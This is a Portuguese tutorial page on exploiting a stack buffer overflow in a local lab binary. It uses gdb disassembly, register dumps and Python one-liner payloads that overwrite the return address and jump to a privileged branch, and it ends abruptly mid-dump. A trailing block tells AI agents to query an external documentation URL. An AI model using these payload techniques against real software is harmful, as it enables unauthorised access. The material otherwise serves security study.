# Introdução

O Buffer Overflow basicamente ocorre quando o programador aloca um determinado tamanho de buffer para uma variável que irá receber uma entrada do usuário e é passado um valor maior do que foi definido, fazendo assim "transbordar" o buffer e sobrescrever outros endereços da memória.&#x20;

### Explorando o binário

Iremos agora analisar um binário para explorar, sem ter acesso ao código fonte.

Para começar, podemos tentar enviar 300 bytes para ver como que o programa se comporta.

```
$ python3 -c 'print("A" * 300)' | ./protegido
Entre com a senha: Acesso Negado
[1]    1319 done                python3 -c 'print("A" * 300)' | 
       1320 segmentation fault  ./protegido
```

Podemos já perceber que ocorre o "segmentation fault".

Vamos debugar o programa e exibir suas funções com o comando **info functions** (o parâmetro -q é para o gdb não exibir algumas informações iniciais).

```python
gdb -q ./protegido
Reading symbols from ./protegido...
(No debugging symbols found in ./protegido)
(gdb) info functions
All defined functions:

Non-debugging symbols:
0x00001000  _init
0x00001030  strcmp@plt
0x00001040  printf@plt
0x00001050  gets@plt
0x00001060  puts@plt
0x00001070  system@plt
0x00001080  exit@plt
0x00001090  __libc_start_main@plt
0x000010a0  __cxa_finalize@plt
0x000010b0  _start
0x000010f0  __x86.get_pc_thunk.bx
0x00001100  deregister_tm_clones
0x00001140  register_tm_clones
0x00001190  __do_global_dtors_aux
0x000011e0  frame_dummy
0x000011e5  __x86.get_pc_thunk.dx
0x000011e9  verifica
0x00001293  acessa
0x000012d3  main
0x00001330  __libc_csu_init
0x00001390  __libc_csu_fini
0x00001391  __x86.get_pc_thunk.bp
0x00001398  _fini

```

Para colocarmos na sintaxe da intel, basta usar o comando **set disassembly-flavor intel.**

Precisamos agora rodar o programa com o comando **run.**

Se quisermos debugar a função main, basta utilizar

```python
(gdb) disas main
Dump of assembler code for function main:
   0x565562d3 <+0>:     lea    ecx,[esp+0x4]
   0x565562d7 <+4>:     and    esp,0xfffffff0
   0x565562da <+7>:     push   DWORD PTR [ecx-0x4]
   0x565562dd <+10>:    push   ebp
   0x565562de <+11>:    mov    ebp,esp
   0x565562e0 <+13>:    push   ebx
   0x565562e1 <+14>:    push   ecx
   0x565562e2 <+15>:    call   0x565560f0 <__x86.get_pc_thunk.bx>
   0x565562e7 <+20>:    add    ebx,0x2d19
   0x565562ed <+26>:    mov    eax,ecx
   0x565562ef <+28>:    cmp    DWORD PTR [eax],0x1
   0x565562f2 <+31>:    jle    0x56556310 <main+61>
   0x565562f4 <+33>:    sub    esp,0xc
   0x565562f7 <+36>:    lea    eax,[ebx-0x1f9a]
   0x565562fd <+42>:    push   eax
   0x565562fe <+43>:    call   0x56556060 <puts@plt>
   0x56556303 <+48>:    add    esp,0x10
   0x56556306 <+51>:    sub    esp,0xc
   0x56556309 <+54>:    push   0x1
   0x5655630b <+56>:    call   0x56556080 <exit@plt>
   0x56556310 <+61>:    call   0x565561e9 <verifica>
   0x56556315 <+66>:    mov    eax,0x0
   0x5655631a <+71>:    lea    esp,[ebp-0x8]
   0x5655631d <+74>:    pop    ecx
   0x5655631e <+75>:    pop    ebx
   0x5655631f <+76>:    pop    ebp
   0x56556320 <+77>:    lea    esp,[ecx-0x4]
   0x56556323 <+80>:    ret    
End of assembler dump.
```

Podemos observar que o programa chama a função "verifica".

```python
(gdb) disas verifica
Dump of assembler code for function verifica:
   0x565561e9 <+0>:     push   ebp
   0x565561ea <+1>:     mov    ebp,esp
   0x565561ec <+3>:     push   ebx
   0x565561ed <+4>:     sub    esp,0x84
   0x565561f3 <+10>:    call   0x565560f0 <__x86.get_pc_thunk.bx>
   0x565561f8 <+15>:    add    ebx,0x2e08
   0x565561fe <+21>:    sub    esp,0xc
   0x56556201 <+24>:    lea    eax,[ebx-0x1ff8]
   0x56556207 <+30>:    push   eax
   0x56556208 <+31>:    call   0x56556040 <printf@plt>
   0x5655620d <+36>:    add    esp,0x10
   0x56556210 <+39>:    sub    esp,0xc
   0x56556213 <+42>:    lea    eax,[ebp-0x88]
   0x56556219 <+48>:    push   eax
   0x5655621a <+49>:    call   0x56556050 <gets@plt>
   0x5655621f <+54>:    add    esp,0x10
   0x56556222 <+57>:    sub    esp,0x8
   0x56556225 <+60>:    lea    eax,[ebx-0x1fe4]
   0x5655622b <+66>:    push   eax
   0x5655622c <+67>:    lea    eax,[ebp-0x88]
   0x56556232 <+73>:    push   eax
   0x56556233 <+74>:    call   0x56556030 <strcmp@plt>
   0x56556238 <+79>:    add    esp,0x10
   0x5655623b <+82>:    test   eax,eax
   0x5655623d <+84>:    jne    0x56556253 <verifica+106>
   0x5655623f <+86>:    sub    esp,0xc
   0x56556242 <+89>:    lea    eax,[ebx-0x1fe0]
   0x56556248 <+95>:    push   eax
   0x56556249 <+96>:    call   0x56556060 <puts@plt>
   0x5655624e <+101>:   add    esp,0x10
   0x56556251 <+104>:   jmp    0x56556289 <verifica+160>
   0x56556253 <+106>:   sub    esp,0x8
   0x56556256 <+109>:   lea    eax,[ebx-0x1fc5]
   0x5655625c <+115>:   push   eax
   0x5655625d <+116>:   lea    eax,[ebp-0x88]
   0x56556263 <+122>:   push   eax
   0x56556264 <+123>:   call   0x56556030 <strcmp@plt>
   0x56556269 <+128>:   add    esp,0x10
   0x5655626c <+131>:   test   eax,eax
   0x5655626e <+133>:   jne    0x56556277 <verifica+142>
   0x56556270 <+135>:   call   0x56556293 <acessa>
   0x56556275 <+140>:   jmp    0x56556289 <verifica+160>
   0x56556277 <+142>:   sub    esp,0xc
   0x5655627a <+145>:   lea    eax,[ebx-0x1fbb]
   0x56556280 <+151>:   push   eax
```

Com isso, podemos colocar um breakpoint no endereço depois da entrada de dados do usuário, que é a função gets, para analisar melhor. (0x5655621f)

Setando o breakpoint

```bash
(gdb) b* 0x0000121f
Breakpoint 1 at 0x121f
```

Agora vamos enviar os dados para o programa utilizando o python

```
(gdb) run < <(python3 -c "print('A' * 200)")
```

Podemos ver os registradores com o comando i r

```python
(gdb) i r
eax            0x0                 0
ecx            0x0                 0
edx            0x0                 0
ebx            0x0                 0
esp            0xffffd220          0xffffd220
ebp            0x0                 0x0
esi            0x0                 0
edi            0x0                 0
eip            0xf7fcc070          0xf7fcc070
eflags         0x200               [ IF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x0                 0
```

Podemos também examinar a memória, olhando em hexadecimal o registrador esp.

```python
(gdb) x/16xw $esp
0xffffd0c0:     0xffffd0d0      0xf7ffdb98      0xffffd144      0x565561f8
0xffffd0d0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd0e0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd0f0:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb) 
0xffffd100:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd110:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd120:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd130:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb) 
0xffffd140:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd150:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd160:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd170:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb) 
0xffffd180:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd190:     0x41414141      0x41414141      0xf7fc3400      0xf7fa2000
0xffffd1a0:     0x00000001      0x00000000      0xffffd208      0x00000000
0xffffd1b0:     0xf7ffd000      0x00000000      0x00000001      0x565560b0
```

Podemos observar que no endereço 0x56556213 da função verifica, é feito uma alocação de um espaço para um buffer de 0x88 que são 136 bytes. Com isso já facilita bastante para sabermos quantos bytes enviar corretamente.

```python
$ python3 -c 'print(0x88)'
136
```

Enviando os bytes

```python
(gdb) run < <(python3 -c 'print("A" * 136)')
```

Analisando os registradores, podemos ver que enviamos o suficiente para "quase" atingir o ebp e o eip.

```python
(gdb) i r
eax            0xffffd0d0          -12080
ecx            0xf7fa2580          -134601344
edx            0xfbad2088          -72540024
ebx            0x56559000          1448448000
esp            0xffffd0c0          0xffffd0c0
ebp            0xffffd158          0xffffd158
esi            0x1                 1
edi            0x565560b0          1448435888
eip            0x5655621f          0x5655621f <verifica+54>
eflags         0x246               [ PF ZF IF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x63                99
(gdb) x/16xw $esp
0xffffd0c0:     0xffffd0d0      0xf7ffdb98      0xffffd144      0x565561f8
0xffffd0d0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd0e0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd0f0:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb) 
0xffffd100:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd110:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd120:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd130:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb) 
0xffffd140:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd150:     0x41414141      0x41414141      0xffffd100      0x56556315
0xffffd160:     0xffffd180      0x00000000      0x00000000      0xf7dd5905
0xffffd170:     0x00000001      0x565560b0      0x00000000      0xf7dd5905

(gdb) x/1xw $ebp
0xffffd158:     0xffffd100
```

Agora podemos enviar os 4 bytes do ebp e do eip

```python
(gdb) run < <(python3 -c 'print("A" * 136 + "BBBB" + "CCCC")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user/Desktop/bof/protegido < <(python3 -c 'print("A" * 136 + "BBBB" + "CCCC")')

Breakpoint 1, 0x5655621f in verifica ()
(gdb) i r
eax            0xffffd0d0          -12080
ecx            0xf7fa2580          -134601344
edx            0xfbad2088          -72540024
ebx            0x56559000          1448448000
esp            0xffffd0c0          0xffffd0c0
ebp            0xffffd158          0xffffd158
esi            0x1                 1
edi            0x565560b0          1448435888
eip            0x5655621f          0x5655621f <verifica+54>
eflags         0x246               [ PF ZF IF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x63                99
(gdb) x/16xw $esp
0xffffd0c0:     0xffffd0d0      0xf7ffdb98      0xffffd144      0x565561f8
0xffffd0d0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd0e0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd0f0:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb) 
0xffffd100:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd110:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd120:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd130:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb) 
0xffffd140:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd150:     0x41414141      0x41414141      0x42424242      0x43434343
0xffffd160:     0xffffd100      0x00000000      0x00000000      0xf7dd5905
0xffffd170:     0x00000001      0x565560b0      0x00000000      0xf7dd5905
(gdb) 

```

Com isso, podemos chamar a função acessa (que possui o endereço **0x56556270**) que fica dentro da função main. Em seguida podemos analisar a memória e verificar se o EIP está sobrescrito com a função, em seguida só precisamos continuar o programa com sua execução.

```python
(gdb) run < <(python3 -c 'print("A" * 136 + "BBBB" + "\x70\x62\x55\x56")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user/Desktop/bof/protegido < <(python3 -c 'print("A" * 136 + "BBBB" + "\x70\x62\x55\x56")')

Breakpoint 1, 0x5655621f in verifica ()
(gdb) x/16xw $esp
0xffffd0c0:     0xffffd0d0      0xf7ffdb98      0xffffd144      0x565561f8
0xffffd0d0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd0e0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd0f0:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb) 
0xffffd100:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd110:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd120:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd130:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb) 
0xffffd140:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd150:     0x41414141      0x41414141      0x42424242      0x56556270
0xffffd160:     0xffffd100      0x00000000      0x00000000      0xf7dd5905
0xffffd170:     0x00000001      0x565560b0      0x00000000      0xf7dd5905
(gdb) c
Continuing.
Entre com a senha: Acesso Negado
Bem vindo! 
[Detaching after vfork from child process 2404]
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),120(wireshark),124(bluetooth),136(scanner),145(kaboxer)

Program received signal SIGSEGV, Segmentation fault.
0x5655628e in verifica ()

```

### Truques no debugger

Se soubermos qual endereço que precisamos ir diretamente, podemos direcionar o programa para isso no debugger.

Se quisermos alterar o fluxo do programa, basta utilizarmos (o endereço **0x56556270** é da função **verifica**)

```python
(gdb) set $eip = 0x56556270
(gdb) i r
eax            0xf7fa49e8          -134592024
ecx            0xffffd180          -11904
edx            0xffffd1b4          -11852
ebx            0x0                 0
esp            0xffffd160          0xffffd160
ebp            0xffffd168          0xffffd168
esi            0x1                 1
edi            0x565560b0          1448435888
eip            0x56556270          0x56556270 <verifica+135>
eflags         0x282               [ SF IF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x63                99
(gdb) c
Continuing.
Bem vindo! 
[Detaching after vfork from child process 1644]
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),120(wireshark),124(bluetooth),136(scanner),145(kaboxer)
```

Agora, vamos tentar descobrir qual é a senha que o sistema está comparando. Antes da comparação, que é a função **verifica,** precisamos colocar um breakpoint para analisar a memória e tentarmos descobrir qual é a string que está sendo feito a comparação. Iremos utilizar o endereço **0x5655626e** que fica antes da função verifica.

```
(gdb) b* 0x5655626e
Breakpoint 1 at 0x5655626e

The program has no registers now.
(gdb) run
Starting program: /home/user/Desktop/bof/protegido 
Entre com a senha: 1

Breakpoint 1, 0x5655626e in verifica ()
(gdb) i r
eax            0xffffffff          -1
ecx            0x70                112
edx            0xffffd0d0          -12080
ebx            0x56559000          1448448000
esp            0xffffd0d0          0xffffd0d0
ebp            0xffffd158          0xffffd158
esi            0x1                 1
edi            0x565560b0          1448435888
eip            0x5655626e          0x5655626e <verifica+133>
eflags         0x286               [ PF SF IF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x63                99
(gdb) x/20s $eip
0x5655626e <verifica+133>:      "u\a\350\036"
0x56556273 <verifica+138>:      ""
0x56556274 <verifica+139>:      ""
0x56556275 <verifica+140>:      "\353\022\203\354\f\215\203E\340\377\377P\350\332\375\377\377\203\304\020\270
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://nicollaslopes.gitbook.io/estudos/master/pos-exploracao/enumeracao-host-windows-1.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
